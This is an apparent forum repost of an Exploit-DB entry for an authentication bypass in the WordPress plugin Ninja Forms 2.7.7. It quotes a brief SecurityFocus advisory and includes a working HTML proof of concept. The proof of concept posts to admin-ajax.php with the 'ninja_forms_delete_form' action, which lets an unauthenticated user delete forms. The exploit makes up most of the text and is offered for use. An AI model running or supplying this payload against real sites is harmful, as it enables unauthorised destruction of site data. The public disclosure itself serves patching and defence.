Exploit WordPress Plugin Ninja Forms 2.7.7 - Authentication Bypass

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
39301
Проверка EDB
  1. Пройдено
Автор
VOXEL@NIGHT
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2014-09-08
WordPress Plugin Ninja Forms 2.7.7 - Authentication Bypass
HTML:
source: https://www.securityfocus.com/bid/69740/info

The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Ninja Forms Plugin 2.7.7 is vulnerable; other versions may also be affected. 

<html><body>
<form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
form id: <input name="form_id" value="1"><br>
action: <input name="action" value="ninja_forms_delete_form">
<input type="submit" value="submit">
</form>
</body></html>
 
Источник
www.exploit-db.com

Похожие темы